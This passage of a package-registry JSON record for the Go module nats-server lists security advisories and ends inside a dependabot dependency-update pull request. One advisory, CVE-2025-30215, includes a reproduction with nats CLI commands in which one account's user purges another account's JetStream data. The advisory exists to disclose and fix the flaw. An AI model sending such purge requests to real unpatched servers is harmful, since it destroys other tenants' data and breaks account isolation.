git.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-02-15T01:57:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2020-28466","https://github.com/nats-io/nats-server/pull/1731","https://github.com/nats-io/nats-server/pull/1731/commits/2e3c22672936f4980d343fb1d328b38919e74796","https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMNATSIONATSSERVERSERVER-1042967","http://www.openwall.com/lists/oss-security/2021/03/16/1","http://www.openwall.com/lists/oss-security/2021/03/16/2","https://github.com/advisories/GHSA-m4jx-6526-vvhm"],"source_kind":"github","identifiers":["GHSA-m4jx-6526-vvhm","CVE-2020-28466"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server"}],"created_at":"2022-12-21T16:13:04.163Z","updated_at":"2023-10-02T13:29:35.000Z","epss_percentage":0.08427,"epss_percentile":0.91537},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTR3NXgteDUzOS1wcGY1","url":"https://github.com/advisories/GHSA-4w5x-x539-ppf5","title":"Incorrect handling of credential expiry by /nats-io/nats-server","description":"\n## Problem Description\n\nNATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.\n\nThe NATS accounts system has expiration timestamps on credentials; the \u003chttps://github.com/nats-io/jwt\u003e library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.\n\nA new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this.  The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.\n\nThe CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n * fixed after nats-io/jwt PR 103 landed (2020-10-06)\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n   + 2.0.0 through and including 2.1.8 are vulnerable.\n * fixed with nats-io/nats-server PRs 1632, 1635, 1645\n\n\n## Impact\n\nTime-based credential expiry did not work.\n\n\n## Workaround\n\nHave credentials which only expire after fixes can be deployed.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-02-11T23:42:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/jwt/security/advisories/GHSA-4w5x-x539-ppf5","https://nvd.nist.gov/vuln/detail/CVE-2020-26892","https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f","https://advisories.nats.io/CVE/CVE-2020-26892.txt","https://github.com/nats-io/nats-server/commits/master","https://www.openwall.com/lists/oss-security/2020/11/02/2","https://github.com/nats-io/jwt/commit/e11ce317263cef69619fc1ca743b195d02aa1d8a","https://pkg.go.dev/vuln/GO-2022-0380","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI","https://github.com/advisories/GHSA-4w5x-x539-ppf5"],"source_kind":"github","identifiers":["GHSA-4w5x-x539-ppf5","CVE-2020-26892"],"repository_url":"https://github.com/nats-io/jwt","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003c 2.1.9"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"},{"versions":[{"first_patched_version":"1.1.0","vulnerable_version_range":"\u003c 1.1.0"}],"ecosystem":"go","package_name":"github.com/nats-io/jwt"}],"created_at":"2022-12-21T16:12:35.880Z","updated_at":"2024-05-20T21:19:22.000Z","epss_percentage":0.00554,"epss_percentile":0.66722},{"uuid":"GSA_kwCzR0hTQS1qajU0LTVxMm0tcTdwas4AA8Ef","url":"https://github.com/advisories/GHSA-jj54-5q2m-q7pj","title":"NATS server TLS missing ciphersuite settings when CLI flags used","description":"(This advisory is canonically \u003chttps://advisories.nats.io/CVE/CVE-2021-32026.txt\u003e)\n\n### Problem Description\n\nThe NATS server by default uses a restricted set of modern ciphersuites for TLS.  This selection can be overridden through configuration. The defaults include just RSA and ECDSA with either AES/GCM with a SHA2 digest or ChaCha20/Poly1305.\n\nThe configuration system allows for extensive use of CLI options to override configuration settings.  When using these to set a key/cert for TLS, the restricted ciphersuite settings were lost, enabling all ciphersuites supported by Go by default.\n\nNone of these additional ciphersuites are broken, so the NATS maintainers have fixed this in public git and the next release is not being hurried, nor is this security advisory embargoed.\n\n\n### Affected versions\n\nNATS Server:\n * All versions prior to 2.2.3\n * fixed with nats-io/nats-server commit ffccc2e1bd (2021-04-29)\n\n\n### Impact\n\nIf a server administrator chooses to start the nats-server with TLS configuration parameters provided on the command-line, then clients can negotiate TLS ciphersuites which were not expected.\n\n\n### Workaround\n\nUse a configuration file to set the TLS parameters instead of command-line options.\n\n\n### Solution\n\nUpgrade the NATS server.\n\n\n### Credits\n\nThis issue was identified and reported by SimCorp.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2024-05-14T22:03:51.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-jj54-5q2m-q7pj","https://github.com/nats-io/nats-server/commit/ffccc2e1bd7aa2466bd9e631e976bfd7ca46f225","https://advisories.nats.io","https://advisories.nats.io/CVE/CVE-2021-32026.txt","https://github.com/advisories/GHSA-jj54-5q2m-q7pj"],"source_kind":"github","identifiers":["GHSA-jj54-5q2m-q7pj","CVE-2021-32026"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.2.3","vulnerable_version_range":"\u003c 2.2.3"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2024-05-14T23:05:44.424Z","updated_at":"2024-05-21T20:34:22.000Z","epss_percentage":null,"epss_percentile":null},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpwNGotNDdmOS0ydmMz","url":"https://github.com/advisories/GHSA-jp4j-47f9-2vc3","title":"Integer Overflow or Wraparound in NATS Server","description":"An integer overflow in NATS Server before 2.2.0 allows a remote attacker to crash the server by sending a crafted request.\n\n### Specific Go Packages Affected\ngithub.com/nats-io/nats-server/v2/server","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-05-18T18:14:55.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://nvd.nist.gov/vuln/detail/CVE-2019-13126","https://github.com/nats-io/nats-server/pull/1053","https://github.com/nats-io/nats-server/pull/1441","https://github.com/nats-io/nats-server/commit/07ef71ff98f45f8c2711be4aeaf484610d891dda","https://github.com/nats-io/nats-server/commits/master","https://www.twistlock.com/labs-blog/finding-dos-vulnerability-nats-go-fuzz-cve-2019-13126/","https://github.com/advisories/GHSA-jp4j-47f9-2vc3"],"source_kind":"github","identifiers":["GHSA-jp4j-47f9-2vc3","CVE-2019-13126"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.2.0","vulnerable_version_range":"\u003c 2.2.0"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2022-12-21T16:13:03.733Z","updated_at":"2023-09-29T16:34:00.000Z","epss_percentage":0.00678,"epss_percentile":0.70214},{"uuid":"GSA_kwCzR0hTQS1maGc4LXF4aDUtN3Ezd84ABG0V","url":"https://github.com/advisories/GHSA-fhg8-qxh5-7q3w","title":"NATS Server may fail to authorize certain Jetstream admin APIs","description":"## Advisory\n\nThe management of JetStream assets happens with messages in the `$JS.` subject namespace in the system account; this is partially exposed into regular accounts to allow account holders to manage their assets.\n\nSome of the JS API requests were missing access controls, allowing any user with JS management permissions in any account to perform certain administrative actions on any JS asset in any other account. At least one of the unprotected APIs allows for data destruction. None of the affected APIs allow disclosing stream contents.\n\n### Affected versions\n\nNATS Server:\n * Version 2 from v2.2.0 onwards, prior to v2.11.1 or v2.10.27\n\n-----\n\n## Original Report\n\n(Lightly edited to confirm some supposition and in the summary to use past tense)\n\n### Summary\n\nnats-server did not include authorization checks on 4 separate admin-level JetStream APIs: account purge, server remove,  account stream move, and  account stream cancel-move.\n\nIn all cases, APIs are not properly restricted to system-account users. Instead, _any_ authorized user can execute the APIs, including across account boundaries, as long as the current user merely has permission to publish on `$JS.\u003e`.\n\nOnly the first seems to be of highest severity. All are included in this single report as they seem likely to have the same underlying root cause.\n\nReproduction of the `ACCOUNT.PURGE` case is below. The others are like it.\n\n\n### Details \u0026 Impact\n\n#### Issue 1: `$JS.API.ACCOUNT.PURGE.*`\n\nAny user may perform an account purge of any other account (including their own).\n\nRisk: total destruction of Jetstream configuration and data.\n\n\n#### Issue 2: `$JS.API.SERVER.REMOVE`\n\nAny user may remove servers from Jetstream clusters.\n\nRisk: Loss of data redundancy, reduction of service quality.\n\n\n#### Issue 3: `$JS.API.ACCOUNT.STREAM.MOVE.*.*` and `CANCEL_MOVE`\n\nAny user may cause streams to be moved between servers.\n\nRisk: loss of control of data provenance, reduced service quality during move, enumeration of account and/or stream names.\n\nSimilarly for `$JS.API.ACCOUNT.STREAM.CANCEL_MOVE.*.*`\n\n\n#### Mitigations\n\nIt appears that users without permission to publish on `$JS.API.ACCOUNT.\u003e` or `$JS.API.SERVER.\u003e` are unable to execute the above APIs.\n\nUnfortunately, in many configurations, an 'admin' user for a single account will be given permissions for `$JS.\u003e` (or simply `\u003e`), which allows the improper access to the system APIs above.\n\n\n#### Scope of impact\n\nIssues 1 and 3 both cross boundaries between accounts, violating promised account isolation. All 3 allow system level access to non-system account users.\n\nWhile I cannot speak to what authz configurations are actually found in the wild, per the discussion in Mitigations above, it seems likely that at least some configurations are vulnerable.\n\n\n#### Additional notes\n\nIt appears that `$JS.API.META.LEADER.STEPDOWN` does properly restrict to system account users. As such, this may be a pattern for how to properly authorize these other APIs.\n\n\n\n### PoC\n\n#### Environment\n\nTested with:\nnats-server 2.10.26 (installed via homebrew)\nnats cli 0.1.6 (installed via homebrew)\nmacOS 13.7.4\n\n\n#### Reproduction steps\n\n```\n$ nats-server --version\nnats-server: v2.10.26\n\n$ nats --version\n0.1.6\n\n$ cat nats-server.conf\nlisten: '0.0.0.0:4233'\njetstream: {\n  store_dir: './tmp'\n}\naccounts: {\n  '$SYS': {\n    users: [{user: 'sys', password: 'sys'}]\n  },\n  'TEST': {\n    jetstream: true,\n    users: [{user: 'a', password: 'a'}]\n  },\n  'TEST2': {\n    jetstream: true,\n    users: [{user: 'b', password: 'b'}]\n  }\n}\n\n$ nats-server -c ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.494663 [INF] Using configuration file: ./nats-server.conf\n...\n[90608] 2025/03/02 11:43:18.496395 [INF] Listening for client connections on 0.0.0.0:4233\n...\n\n# Authentication is effectively enabled by the server:\n$ nats -s nats://localhost:4233 account info\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user sys --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user a --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n$ nats -s nats://localhost:4233 account info --user b --password wrong\nnats: error: setup failed: nats: Authorization Violation\n\n# Valid credentials work, and users properly matched to accounts:\n$ nats -s nats://localhost:4233 account info --user sys --password sys\nAccount Information\n                      User: sys\n                   Account: $SYS\n...\n\n$ nats -s nats://localhost:4233 account info --user a --password a\nAccount Information\n                           User: a\n                        Account: TEST\n...\n\n$ nats -s nats://localhost:4233 account info --user b --password b\nAccount Information\n                           User: b\n                        Account: TEST2\n...\n\n# Add a stream and messages to account TEST (user 'a'):\n$ nats -s nats://localhost:4233 --user a --password a stream add stream1 --subjects s1 --storage file --defaults\nStream stream1 was created\n...\n\n$ nats -s nats://localhost:4233 --user a --password a publish s1 --count 3 \"msg {{Count}}\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n11:50:05 Published 5 bytes to \"s1\"\n\n# Messages are correctly persisted on account TEST, and not on TEST2:\n$ nats -s nats://localhost:4233 --user a --password a stream ls\n╭───────────────────────────────────────────────────────────────────────────────╮\n│                                    Streams                                    │\n├─────────┬─────────────┬─────────────────────┬──────────┬───────┬──────────────┤\n│ Name    │ Description │ Created             │ Messages │ Size  │ Last Message │\n├─────────┼─────────────┼─────────────────────┼──────────┼───────┼──────────────┤\n│ stream1 │             │ 2025-03-02 11:48:49 │ 3        │ 111 B │ 46.01s       │\n╰─────────┴─────────────┴─────────────────────┴──────────┴───────┴──────────────╯\n\n$ nats -s nats://localhost:4233 --user b --password b stream ls\nNo Streams defined\n\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream/TEST/streams/stream1/obs\n8.0K\ttmp/jetstream/TEST/streams/stream1/msgs\n 16K\ttmp/jetstream/TEST/streams/stream1\n 16K\ttmp/jetstream/TEST/streams\n 16K\ttmp/jetstream/TEST\n 16K\ttmp/jetstream\n\n# User b (account TEST2) sends a PURGE command for account TEST (user a).\n# According to the source comments, user b shouldn't even be able to purge it's own account, much less another one.\n$ nats -s nats://localhost:4233 --user b --password b request '$JS.API.ACCOUNT.PURGE.TEST' ''\n11:54:50 Sending request on \"$JS.API.ACCOUNT.PURGE.TEST\"\n11:54:50 Received with rtt 1.528042ms\n{\"type\":\"io.nats.jetstream.api.v1.account_purge_response\",\"initiated\":true}\n\n# From nats-server in response to the purge request:\n[90608] 2025/03/02 11:54:50.277144 [INF] Purge request for account TEST (streams: 1, hasAccount: true)\n\n# And indeed, the stream data is gone on account TEST:\n$ du -h tmp/jetstream\n  0B\ttmp/jetstream\n\n$ nats -s nats://localhost:4233 --user a --password a stream ls\nNo Streams defined\n\n```","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-04-15T21:45:00.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/nats-io/nats-server/security/advisories/GHSA-fhg8-qxh5-7q3w","https://advisories.nats.io/CVE/secnote-2025-01.txt","https://nvd.nist.gov/vuln/detail/CVE-2025-30215","http://www.openwall.com/lists/oss-security/2025/04/08/5","https://osv.dev/vulnerability/GO-2025-3600","https://github.com/advisories/GHSA-fhg8-qxh5-7q3w"],"source_kind":"github","identifiers":["GHSA-fhg8-qxh5-7q3w","CVE-2025-30215"],"repository_url":"https://github.com/nats-io/nats-server","blast_radius":0.0,"packages":[{"versions":[{"first_patched_version":"2.10.27","vulnerable_version_range":"\u003e= 2.2.0, \u003c 2.10.27"},{"first_patched_version":"2.11.1","vulnerable_version_range":"\u003e= 2.11.0-RC.1, \u003c 2.11.1"}],"ecosystem":"go","package_name":"github.com/nats-io/nats-server/v2"}],"created_at":"2025-04-15T22:08:33.397Z","updated_at":"2025-04-24T14:54:26.000Z","epss_percentage":0.00036,"epss_percentile":0.09442}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/nats-io/nats-server/v2","docker_dependents_count":237,"docker_downloads_count":1094963678,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/nats-io/nats-server/v2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/nats-io/nats-server/v2/dependencies","status":null,"funding_links":["https://funding.communitybridge.org/projects/nats-io"],"critical":true,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnats-io%2Fnats-server%2Fv2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnats-io%2Fnats-server%2Fv2/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnats-io%2Fnats-server%2Fv2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fnats-io%2Fnats-server%2Fv2/related_packages","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":1882879,"maintainers_count":0,"namespaces_count":723926,"keywords_count":97872,"github":"golang","metadata":{"funded_packages_count":39346},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2025-06-06T05:22:27.920Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},"unique_repositories_count":158,"unique_repositories_count_past_30_days":3,"recent_issues":[{"uuid":"4772692149","node_id":"PR_kwDOSIBbIM7sA4uQ","number":18,"state":"open","title":"chore(deps): bump the go-dependencies group across 1 directory with 16 updates","user":"dependabot[bot]","labels":["dependencies","go"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-30T00:48:45.000Z","updated_at":"2026-06-30T00:48:48.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"go-dependencies","update_count":16,"packages":[{"name":"github.com/dgraph-io/badger/v4","old_version":"4.9.1","new_version":"4.9.2","repository_url":"https://github.com/dgraph-io/badger"},{"name":"github.com/jackc/pgx/v5","old_version":"5.9.2","new_version":"5.10.0","repository_url":"https://github.com/jackc/pgx"},{"name":"github.com/nats-io/nats-server/v2","old_version":"2.12.8","new_version":"2.14.2","repository_url":"https://github.com/nats-io/nats-server"},{"name":"github.com/nats-io/nats.go","old_version":"1.51.0","new_version":"1.52.0","repository_url":"https://github.com/nats-io/nats.go"},{"name":"go.mongodb.org/mongo-driver/v2","old_version":"2.5.0","new_version":"2.7.0","repository_url":"https://github.com/mongodb/mongo-go-driver"},{"name":"google.golang.org/grpc","old_version":"1.80.0","new_version":"1.81.1","repository_url":"https://github.com/grpc/grpc-go"},{"name":"modernc.org/sqlite","old_version":"1.46.1","new_version":"1.53.0"},{"name":"github.com/aws/aws-sdk-go-v2","old_version":"1.41.7","new_version":"1.42.0","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/config","old_version":"1.32.17","new_version":"1.32.25","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/aws/aws-sdk-go-v2/service/sqs","old_version":"1.42.27","new_version":"1.44.0","repository_url":"https://github.com/aws/aws-sdk-go-v2"},{"name":"github.com/rabbitmq/amqp091-go","old_version":"1.11.0","new_version":"1.12.0","repository_url":"https://github.com/rabbitmq/amqp091-go"},{"name":"github.com/spf13/pflag","old_version":"1.0.9","new_version":"1.0.10","repository_url":"https://github.com/spf13/pflag"},{"name":"github.com/twmb/franz-go","old_version":"1.21.1","new_version":"1.21.3","repository_url":"https://github.com/twmb/franz-go"},{"name":"golang.org/x/sync","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/golang/sync"},{"name":"google.golang.org/api","old_version":"0.274.0","new_version":"0.286.0","repository_url":"https://github.com/googleapis/google-api-go-client"}],"path":null,"ecosystem":"go"},"body":"Bumps the go-dependencies group with 15 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [github.com/dgraph-io/badger/v4](https://github.com/dgraph-io/badger) | `4.9.1` | `4.9.2` |\n| [github.com/jackc/pgx/v5](https://github.com/jackc/pgx) | `5.9.2` | `5.10.0` |\n| [github.com/nats-io/nats-server/v2](https://github.com/nats-io/nats-server) | `2.12.8` | `2.14.2` |\n| [github.com/nats-io/nats.go](https://github.com/nats-io/nats.go) | `1.51.0` | `1.52.0` |\n| [go.mongodb.org/mongo-driver/v2](https://github.com/mongodb/mongo-go-driver) | `2.5.0` | `2.7.0` |\n| [google.golang.org/grpc](https://github.com/grpc/grpc-go) | `1.80.0` | `1.81.1` |\n| [modernc.org/sqlite](https://gitlab.com/cznic/sqlite) | `1.46.1` | `1.53.0` |\n| [github.com/aws/aws-sdk-go-v2](https://github.com/aws/aws-sdk-go-v2) | `1.41.7` | `1.42.0` |\n| [github.com/aws/aws-sdk-go-v2/config](https://github.com/aws/aws-sdk-go-v2) | `1.32.17` | `1.32.25` |\n| [github.com/aws/aws-sdk-go-v2/service/sqs](https://github.com/aws/aws-sdk-go-v2) | `1.42.27` | `1.44.0` |\n| [github.com/rabbitmq/amqp091-go](https://github.com/rabbitmq/amqp091-go) | `1.11.0` | `1.12.0` |\n| [github.com/spf13/pflag](https://github.com/spf13/pflag) | `1.0.9` | `1.0.10` |\n| [github.com/twmb/franz-go](https://github.com/twmb/franz-go) | `1.21.1` | `1.21.3` |\n| [golang.org/x/sync](https://github.com/golang/sync) | `0.20.0` | `0.21.0` |\n| [google.golang.org/api](https://github.com/googleapis/google-api-go-client) | `0.274.0` | `0.286.0` |\n\n\nUpdates `github.com/dgraph-io/badger/v4` from 4.9.1 to 4.9.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dgraph-io/badger/releases\"\u003egithub.com/dgraph-io/badger/v4's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.9.2\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003echore(core): remove unused event log by \u003ca href=\"https://github.com/xqqp\"\u003e\u003ccode\u003e@​xqqp\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2257\"\u003edgraph-io/badger#2257\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(cd): upload build artifacts to GitHub Release by \u003ca href=\"https://github.com/matthewmcneely\"\u003e\u003ccode\u003e@​matthewmcneely\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2273\"\u003edgraph-io/badger#2273\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix: Prevent NPE on sync with inmemory DB by \u003ca href=\"https://github.com/alpe\"\u003e\u003ccode\u003e@​alpe\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2264\"\u003edgraph-io/badger#2264\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eperf: skip lsm lookup for expired entries during value log rewrite by \u003ca href=\"https://github.com/lamb007\"\u003e\u003ccode\u003e@​lamb007\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2269\"\u003edgraph-io/badger#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore: update jemalloc to 5.3.1 by \u003ca href=\"https://github.com/solracsf\"\u003e\u003ccode\u003e@​solracsf\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2275\"\u003edgraph-io/badger#2275\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix : read only user should be able to open db on ReadOnly mode  by \u003ca href=\"https://github.com/Naelpuissant\"\u003e\u003ccode\u003e@​Naelpuissant\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2268\"\u003edgraph-io/badger#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(compaction): clamp baseLevel to \u0026gt;=1 to prevent L0-\u0026gt;L0 panic on la… by \u003ca href=\"https://github.com/shiva-istari\"\u003e\u003ccode\u003e@​shiva-istari\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2296\"\u003edgraph-io/badger#2296\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/xqqp\"\u003e\u003ccode\u003e@​xqqp\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2257\"\u003edgraph-io/badger#2257\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/alpe\"\u003e\u003ccode\u003e@​alpe\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2264\"\u003edgraph-io/badger#2264\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lamb007\"\u003e\u003ccode\u003e@​lamb007\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2269\"\u003edgraph-io/badger#2269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Naelpuissant\"\u003e\u003ccode\u003e@​Naelpuissant\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2268\"\u003edgraph-io/badger#2268\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shiva-istari\"\u003e\u003ccode\u003e@​shiva-istari\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/dgraph-io/badger/pull/2296\"\u003edgraph-io/badger#2296\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\"\u003ehttps://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/dgraph-io/badger/blob/main/CHANGELOG.md\"\u003egithub.com/dgraph-io/badger/v4's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003cp\u003eAll notable changes to this project will be documented in this file.\u003c/p\u003e\n\u003cp\u003eThe format is based on \u003ca href=\"http://keepachangelog.com/en/1.0.0/\"\u003eKeep a Changelog\u003c/a\u003e.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/284cea00ccee8618d23f5e60246c4a40fd5e4bb1\"\u003e\u003ccode\u003e284cea0\u003c/code\u003e\u003c/a\u003e fix(compaction): clamp baseLevel to \u0026gt;=1 to prevent L0-\u0026gt;L0 panic on la… (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2296\"\u003e#2296\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/897f12fdb4631a9bf2aea347bde0a93d930d3001\"\u003e\u003ccode\u003e897f12f\u003c/code\u003e\u003c/a\u003e fix : read only user should be able to open db on ReadOnly mode  (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2268\"\u003e#2268\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/ca9e10bb8f10ca60cb047a946bf381a7039ce53d\"\u003e\u003ccode\u003eca9e10b\u003c/code\u003e\u003c/a\u003e enh: compile with jemalloc 5.3.1 (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2275\"\u003e#2275\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/7427d56925199bf23827e6f08d1c1ad119b1b4fc\"\u003e\u003ccode\u003e7427d56\u003c/code\u003e\u003c/a\u003e perf: skip lsm lookup for expired entries during value log rewrite (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2269\"\u003e#2269\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/773a8356d9074cd0d56f5f80d773236c88aca494\"\u003e\u003ccode\u003e773a835\u003c/code\u003e\u003c/a\u003e fix: Prevent NPE on sync with inmemory DB (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2264\"\u003e#2264\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/abbb9a574e03c36e13f5f0fa62c74504c5e9ee05\"\u003e\u003ccode\u003eabbb9a5\u003c/code\u003e\u003c/a\u003e fix(cd): upload build artifacts to GitHub Release (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2273\"\u003e#2273\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/dgraph-io/badger/commit/796cb85f662c06cb4660f0143af176ca7cf1a857\"\u003e\u003ccode\u003e796cb85\u003c/code\u003e\u003c/a\u003e chore(core): remove unused event log (\u003ca href=\"https://redirect.github.com/dgraph-io/badger/issues/2257\"\u003e#2257\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/dgraph-io/badger/compare/v4.9.1...v4.9.2\"\u003ecompare 